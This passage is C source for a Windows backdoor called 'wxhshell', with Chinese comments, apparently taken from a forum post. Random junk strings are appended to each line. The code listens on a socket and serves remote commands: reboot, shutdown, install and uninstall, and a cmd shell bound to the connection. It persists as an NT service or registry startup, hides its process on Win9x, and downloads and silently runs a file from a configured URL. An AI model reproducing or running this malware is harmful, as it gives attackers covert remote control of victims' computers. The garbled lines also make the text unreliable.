  // 帮助 @8|~+y8,  
  case '?': { .8-PB*vb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bAUHUPe  
    break; Q%rVo4M#2  
  } !>\9t9  
  // 安装 AzZi{Q ?  
  case 'i': { &q.)2o#Q.  
    if(Install()) fv:L\N1u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1_ %Td  
    else 2K Pqu:lv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xu6jHJ@x  
    break; FSv1X  
    } XnD0eua#  
  // 卸载 ,Ie<'>hd  
  case 'r': { bG52s  
    if(Uninstall()) O)l%OOv   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JL@F~U9  
    else |n)<4%i8J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yz2(_@R  
    break; ohtT O]\  
    } X!o@f$  
  // 显示 wxhshell 所在路径 {K+.A 9!  
  case 'p': { !TGr.R  
    char svExeFile[MAX_PATH]; vnDmFqelz  
    strcpy(svExeFile,"\n\r"); !`Le`c  
      strcat(svExeFile,ExeFile); ]XY0c6 <  
        send(wsh,svExeFile,strlen(svExeFile),0); {JTmP`&l  
    break; Dp^95V@  
    } W.IH#`-9E  
  // 重启 li@k Lh  
  case 'b': { h5 j<u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9g96 d-  
    if(Boot(REBOOT)) L,6MF,vx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h:_NA  
    else { FbmsN)mv!%  
    closesocket(wsh); !1("(Eb  
    ExitThread(0); ,|A{!j`  
    } f7ZA837Un  
    break; !h?=Wv ==]  
    } &h\7^=s.  
  // 关机 s88y{o  
  case 'd': { {b[tA, >  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |ebvx?\  
    if(Boot(SHUTDOWN)) {|Bd?U;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zqY)dk  
    else { p x0Sy|  
    closesocket(wsh); sx:Hv1d  
    ExitThread(0); .ByU  
    } h>| g2h  
    break; QsM*wT&aa  
    } ;c$@@ l  
  // 获取shell ,b4g.CV  
  case 's': { L*9H#%3  
    CmdShell(wsh); j6H R&vIM  
    closesocket(wsh); 6A.P6DW  
    ExitThread(0); zPHy2H$28  
    break; my4\mi6P  
  } QTfu:m{  
  // 退出 M.S s: ttj  
  case 'x': { }DbE4"^K7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' Wtf>`  
    CloseIt(wsh); vkuc8 li  
    break; QE3ryD  
    } ?3Pazc]+|  
  // 离开 IKo;9|2U  
  case 'q': { p0Z:Wkz]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r,Ds[s)B  
    closesocket(wsh); qrpb[)Ll  
    WSACleanup(); VjY<\WqbS  
    exit(1); $e*B:}x}  
    break; Ww=O=c5uOu  
        } qfa}3k8et  
  } /z#F,NB  
  } &>g~-s  
zA,/@/'(  
  // 提示信息 5a6VMqQ6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d+Ds9(gV  
} gJKKR]4*  
  } Ch7Egz l7?  
>J@egIKzP  
  return; [g`,AmR\!  
} OT;cfkf7  
Q-(Dk?z{  
// shell模块句柄 <XvYa{t]{  
int CmdShell(SOCKET sock) rd">JEK;;  
{ 9qre|AA  
STARTUPINFO si; IkU|W3Vo  
ZeroMemory(&si,sizeof(si)); D'n L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uOre,AQR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @701S(0 '7  
PROCESS_INFORMATION ProcessInfo; |(RZ/d<X\a  
char cmdline[]="cmd"; p1~*;;F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wFb@1ae\  
  return 0; JjQVzkE  
} .jargvAL*  
Oy%Im8.-A#  
// 自身启动模式 79wLT \&  
int StartFromService(void) !UcOl0"6  
{ e3g_At\  
typedef struct #%8 w  
{ h R~v  
  DWORD ExitStatus; ZV( w  
  DWORD PebBaseAddress; p[-{]!  
  DWORD AffinityMask; # 66e@  
  DWORD BasePriority; m8HYW zN  
  ULONG UniqueProcessId; M~p=#V1D  
  ULONG InheritedFromUniqueProcessId; 3~<}bee5|q  
}   PROCESS_BASIC_INFORMATION; iadkH]w  
Z/7dg-$?'0  
PROCNTQSIP NtQueryInformationProcess; 0;<OYbm3<  
a:b^!H>#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jA<T p}$!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0+j}};   
Uouq>N  
  HANDLE             hProcess; sOz sY7z3Z  
  PROCESS_BASIC_INFORMATION pbi; L/ fRF"V  
SX_4=^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3Oiy)f@{TF  
  if(NULL == hInst ) return 0; H`el#tt_  
t !~ S9c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |!}wF}iLc)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Up|f=@=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^mfjn-=3  
Q1T@oxV  
  if (!NtQueryInformationProcess) return 0; _Ex|f5+  
hy!6g n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )5GQJiY  
  if(!hProcess) return 0; j|(:I:]  
u*2JUI*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4U{m7[  
m[rL\](-  
  CloseHandle(hProcess); 61|B]ei/  
ET+'Pj3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kFwxK"n@C  
if(hProcess==NULL) return 0; t3>$|}O]t  
P^zy;Qs7  
HMODULE hMod; q~h:<,5  
char procName[255]; 8Zw]f-5x\  
unsigned long cbNeeded; -)RJ\V^{9  
De]^&qw(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n1 v,#GE  
M2p<u-6 "  
  CloseHandle(hProcess); c[:Wf<% |  
X+at%L=  
if(strstr(procName,"services")) return 1; // 以服务启动 Hg whe=P  
h. ^o)T  
  return 0; // 注册表启动 OL9]*G?F  
} |D<+X^0'  
Sn ^Aud  
// 主模块 ,LZ(^ u  
int StartWxhshell(LPSTR lpCmdLine) X:{WZs"[x  
{ " 5|\X<f  
  SOCKET wsl; BKZ v9  
BOOL val=TRUE; Pi){h~B>  
  int port=0; d$[8w/5Of  
  struct sockaddr_in door; _+n;A46  
b pp*  
  if(wscfg.ws_autoins) Install(); :~33U)?{T  
V{GXc:=  
port=atoi(lpCmdLine); Snx<]|  
lY,/ W  
if(port<=0) port=wscfg.ws_port; >h%\HMKk  
@'gl~J7  
  WSADATA data; 045\i[l=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^ $wJi9D6  
{+\'bIV[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b^Z$hnh]S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |*E"G5WZM  
  door.sin_family = AF_INET; u<kD}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mciq-c)  
  door.sin_port = htons(port); gQR1$n0  
 0Ve%.k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XNlhu^jh  
closesocket(wsl); I+~bCcgPi  
return 1; ,ey0:.!;  
} "*bk{)dz}  
SUc6/'Rdr  
  if(listen(wsl,2) == INVALID_SOCKET) { e`AUYli"  
closesocket(wsl); 6V P)$h8  
return 1; 5H*>  
} 3KT_AJ4}  
  Wxhshell(wsl); [ro t  
  WSACleanup(); QPV@'.2m  
K%PxA #P}  
return 0; ]?# #))RUS  
avy=0Jmj  
} O%VA)<  
)Oe`s(O@[I  
// 以NT服务方式启动 e{JVXc[D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1vsu[n  
{ fCr\u6Tb  
DWORD   status = 0; yl]UUBcQ  
  DWORD   specificError = 0xfffffff; ,{+6$h3  
j[H0SBKC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hv{87`L'K(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $W*|~}F/Ap  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u{P~zyx  
  serviceStatus.dwWin32ExitCode     = 0; T g{UK  
  serviceStatus.dwServiceSpecificExitCode = 0; SXh?U,5u  
  serviceStatus.dwCheckPoint       = 0; AI~9m-,mE  
  serviceStatus.dwWaitHint       = 0; 5Edo%Hd6  
T*R{L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :Dj#VN  
  if (hServiceStatusHandle==0) return; =+4 _j  
vs\|rLa  
status = GetLastError(); C rfRLsN]  
  if (status!=NO_ERROR) D!/0c]"  
{ iU XM( ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >"b[r  
    serviceStatus.dwCheckPoint       = 0; u6pIdt  
    serviceStatus.dwWaitHint       = 0; `yx56  
    serviceStatus.dwWin32ExitCode     = status; T$ IUKR  
    serviceStatus.dwServiceSpecificExitCode = specificError; vU{jda$$#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gn[*?=Vy  
    return; $Ba`VGP>)3  
  }  +xq=<jy  
3@'lIV ?,q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z>&K&ttJ  
  serviceStatus.dwCheckPoint       = 0; }|,EU!nDi  
  serviceStatus.dwWaitHint       = 0; TGtyJ3x\   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uqr{,-]5v  
} LjCykk  
"d2LyQy  
// 处理NT服务事件,比如:启动、停止 zG<0CZQ8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) juXC?2c  
{ #]igB9Cf)w  
switch(fdwControl) _Po#ZGm~  
{ 4V1|jy3  
case SERVICE_CONTROL_STOP: \"t`W:  
  serviceStatus.dwWin32ExitCode = 0; }pt-q[s>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )#Y|ngZ_>  
  serviceStatus.dwCheckPoint   = 0; -h=c=P  
  serviceStatus.dwWaitHint     = 0; uV!MW=)  
  { VSx%8IM+X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _m" ^lo  
  } b6]e4DL:R  
  return; XQ4dohGCP  
case SERVICE_CONTROL_PAUSE: D)h["z|F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u^!&{q  
  break; [rc'/@L  
case SERVICE_CONTROL_CONTINUE: `9:v*KuM#R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O-?z' @5cI  
  break; *TJ<  
case SERVICE_CONTROL_INTERROGATE: O.dux5lfBd  
  break; cj`#Tg.  
}; HK^a:BI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7L1\1E:!  
} V2lp7"  
.&Y,D-h}7|  
// 标准应用程序主函数 G[y&`Qc)G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C5BzWgK  
{ Wn2Ny jX  
neK*jdaP  
// 获取操作系统版本 EUJ1RhajF  
OsIsNt=GetOsVer(); \ YjB+[.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3zk:59  
buc,M@>  
  // 从命令行安装 5?D1][  
  if(strpbrk(lpCmdLine,"iI")) Install(); {K<~ vj;  
Qfwwh`;  
  // 下载执行文件 Mr#oT?  
if(wscfg.ws_downexe) { ;b{pzIe=F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z3LQl(  
  WinExec(wscfg.ws_filenam,SW_HIDE); .LWOM8)  
} FZM ]o  
{yGZc3e1j  
if(!OsIsNt) { !E4E'I=]N  
// 如果时win9x,隐藏进程并且设置为注册表启动 eUzU]6h  
HideProc(); Lw!?T(SK  
StartWxhshell(lpCmdLine); e5]&1^+  
} Y8x(#qp,  
else a15,'v$O  
  if(StartFromService()) fRZUY <t  
  // 以服务方式启动 2&zn^\%"  
  StartServiceCtrlDispatcher(DispatchTable); NN31?wt  
else D? ^`(X P  
  // 普通方式启动 t;Fbt("]:  
  StartWxhshell(lpCmdLine); :Vu7,o  
vE^h}~5U  
return 0; Qi(e`(,'  
}
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只看该作者 1 发表于: 2006-10-10
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